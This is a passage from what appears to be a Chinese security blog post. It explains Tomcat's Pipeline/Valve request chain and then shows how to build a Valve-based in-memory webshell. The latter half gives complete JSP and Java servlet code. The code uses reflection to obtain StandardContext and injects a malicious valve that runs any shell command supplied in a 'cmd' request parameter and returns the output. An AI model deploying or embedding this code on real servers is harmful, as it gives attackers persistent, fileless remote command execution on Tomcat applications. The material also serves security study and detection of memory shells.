  • 阀门(Valve)::阀门就是管道中的处理单元。每个Valve都可以执行特定的操作,比如请求前的预处理、身份验证、日志记录、错误处理等。Valve的设计使得可以在请求处理过程中插入或移除各种功能,从而实现灵活的请求处理逻辑。阀门的实现可以类比于Java EE中的Filter,它们都遵循类似的责任链模式。

Tomcat中的组件

在Tomcat中,主要有四个核心的组件(子容器),这四个组件都能维护一个Pipeline,并且各自有对应的Valve类。

核心的组件(子容器) 对应的Valve类
Engine:代表整个Web应用程序引擎。 StandardEngineValve:与Engine组件相关的Valve。
Host:代表虚拟主机。 StandardHostValve:与Host组件相关的Valve。
Context:代表Web应用的上下文。 StandardContextValve:与Context组件相关的Valve。
Wrapper:代表Servlet的包装器。 StandardWrapperValve:与Wrapper组件相关的Valve。

su18师傅博客的流程图JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)

img

请求处理流程

当一个请求到达Tomcat时,处理流程如下:

  1. Connector接收请求并解析。
  2. 请求被发送到相应的Engine,进入其Pipeline。
  3. Pipeline中的Valve按顺序被调用,每一个Valve可以处理请求或者决定是否继续将请求传递给下一个Valve。
  4. 请求最终到达对应的Wrapper,即Servlet进行处理。
  5. 响应经过Pipeline返回,经过Valve处理后返回给客户端。

PipelineValve接口

来看PipelineValve接口的方法,Pipeline接口提供操作Valve的方法,比如我们可以通过addValve()方法来添加一个Valve。而Valve接口可以通过getNext()方法链式获取下一个Valve,并且可以通过重写invoke()方法来实现具体的业务逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
/**
* Pipeline接口表示Tomcat中的一条管道,管道中包含了一系列的Valve(阀门)。
* 每个Valve处理传入的请求,并决定是否将请求传递给下一个Valve。
* Pipeline继承自Contained接口,意味着它与Tomcat的容器有关联。
*/
public interface Pipeline extends Contained {

/**
* 获取当前管道的基础Valve。
* 基础Valve通常是处理链中的最后一个Valve,用于处理最底层的请求处理逻辑。
*
* @return 当前的基础Valve。
*/
Valve getBasic();

/**
* 设置当前管道的基础Valve。
* 这个基础Valve会在所有其他Valve处理完毕后执行。
*
* @param var1 新的基础Valve。
*/
void setBasic(Valve var1);

/**
* 向管道中添加一个新的Valve。
* 这个Valve会被添加到管道链的末尾,按顺序处理请求。
*
* @param var1 要添加的Valve。
*/
void addValve(Valve var1);

/**
* 获取管道中所有的Valve。
* 包括基础Valve和动态添加的所有Valve。
*
* @return 包含所有Valve的数组。
*/
Valve[] getValves();

/**
* 从管道中移除指定的Valve。
* 如果Valve存在,它将被移除并且不再处理请求。
*
* @param var1 要移除的Valve。
*/
void removeValve(Valve var1);

/**
* 获取管道链中第一个要处理请求的Valve。
* 第一个Valve会首先接收到请求并开始处理。
*
* @return 管道链中的第一个Valve。
*/
Valve getFirst();

/**
* 检查管道中的所有Valve是否都支持异步处理。
*
* @return 如果所有Valve都支持异步处理,则返回true,否则返回false。
*/
boolean isAsyncSupported();

/**
* 查找并收集管道中不支持异步处理的Valve。
* 将不支持异步处理的Valve名称添加到传入的Set集合中。
*
* @param var1 存储不支持异步处理的Valve名称的Set集合。
*/
void findNonAsyncValves(Set<String> var1);
}

/**
* Valve接口表示Tomcat中的一个处理单元(阀门)。
* 每个Valve都可以处理请求并决定是否将请求传递给下一个Valve。
*/
public interface Valve {

/**
* 获取链中的下一个Valve。
* 当前Valve处理完请求后,将请求传递给这个下一个Valve。
*
* @return 下一个Valve。
*/
Valve getNext();

/**
* 设置链中的下一个Valve。
* 这个方法通常用于构建Valve链,使请求按顺序传递。
*
* @param var1 新的下一个Valve。
*/
void setNext(Valve var1);

/**
* 执行后台处理任务。
* 这个方法通常用于执行一些定时任务或资源清理等操作。
*/
void backgroundProcess();

/**
* 处理传入的请求和响应。
* 这是Valve的核心方法,每个Valve都会在此方法中实现具体的业务逻辑。
*
* @param var1 请求对象。
* @param var2 响应对象。
* @throws IOException 如果在处理过程中发生I/O错误。
* @throws ServletException 如果在处理过程中发生Servlet相关错误。
*/
void invoke(Request var1, Response var2) throws IOException, ServletException;

/**
* 检查当前Valve是否支持异步处理。
*
* @return 如果支持异步处理,则返回true,否则返回false。
*/
boolean isAsyncSupported();
}

流程分析

消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {

Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);

if (request == null) {
......
}

......

try {
postParseSuccess = postParseRequest(req, request, res, response);
if (postParseSuccess) {
......
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
}
......
}
......
}

通过connector.getService().getContainer().getPipeline()获取StandardPipeline对象,也是Pipeline接口唯一实现类。**(connector.getService()即为StandardContext)**

然后通过StandardPipeline.getFirst()来获取第一个Valve,然后调用其invoke方法。然后会依次链式调用四大组件对应Pipeline里的Valve。如果我们能添加一个恶意的Valve,就可以把恶意代码加载到内存中。

编写内存马

Valve型内存马的注入思路条件

  1. 获取StandardContext对象
  2. 通过StandardContext对象获取StandardPipeline
  3. 编写恶意Valve
  4. 通过StandardPipeline.addValve()动态添加Valve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%
try {
// 获取当前请求的ServletContext对象
ServletContext servletContext = session.getServletContext();
// 通过反射获取ApplicationContext对象
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过反射获取StandardContext对象
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

EvilVavle evilVavle = new EvilVavle();
standardContext.getPipeline().addValve(evilVavle);

// 设置响应编码和内容类型
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");

out.write("[+]Valve型内存马注入成功<br>");
out.write("[+]URL:http://localhost:8080/ValveMemoryShell_war_exploded/");

} catch (Exception e) {
out.write("[-]内存马注入失败");
}
%>

<%!
// 定义EvilVavle类,这里使用了静态代码块
public class EvilVavle implements Valve {

@Override
public Valve getNext() {return null;}

@Override
public void setNext(Valve valve) {}

@Override
public void backgroundProcess() {}

@Override
public void invoke(Request request, Response response) throws IOException, ServletException, IOException {
// 从请求参数中获取命令
String cmd = request.getParameter("cmd");
request.setCharacterEncoding("GBK");
if(cmd!=null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}

@Override
public boolean isAsyncSupported() {
return false;
}
}
%>

java版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package cmisl;

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/valvememoryshell")
public class ValveMemoryShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
// 获取当前请求的ServletContext对象
ServletContext servletContext = req.getSession().getServletContext();
// 通过反射获取ApplicationContext对象
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过反射获取StandardContext对象
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

EvilVavle evilVavle = new EvilVavle();
standardContext.getPipeline().addValve(evilVavle);

// 设置响应编码和内容类型
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html;charset=utf-8");

resp.getWriter().write("[+]Valve型内存马注入成功<br>");
resp.getWriter().write("[+]URL:http://localhost:8080/ValveMemoryShell_war_exploded/");

} catch (Exception e) {

}
}
}

class EvilVavle implements Valve {

@Override
public Valve getNext() {return null;}

@Override
public void setNext(Valve valve) {}

@Override
public void backgroundProcess() {}

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// 从请求参数中获取命令
String cmd = request.getParameter("cmd");
request.setCharacterEncoding("GBK");
if(cmd!=null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}

@Override
public boolean isAsyncSupported() {
return false;
}
}

Ref

Spring内存马——Controller/Interceptor构造 - 先知社区 (aliyun.com)

JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)

【Spring Boot实战与进阶】过滤器和拦截器的使用及其区别-阿里云开发者社区 (aliyun.com)

Java安全学习——内存马 - 枫のBlog (goodapple.top)


JAVA内存马系列
http://example.com/2024/07/23/JAVA内存马/
作者
cmisl
发布于
2024年7月23日
许可协议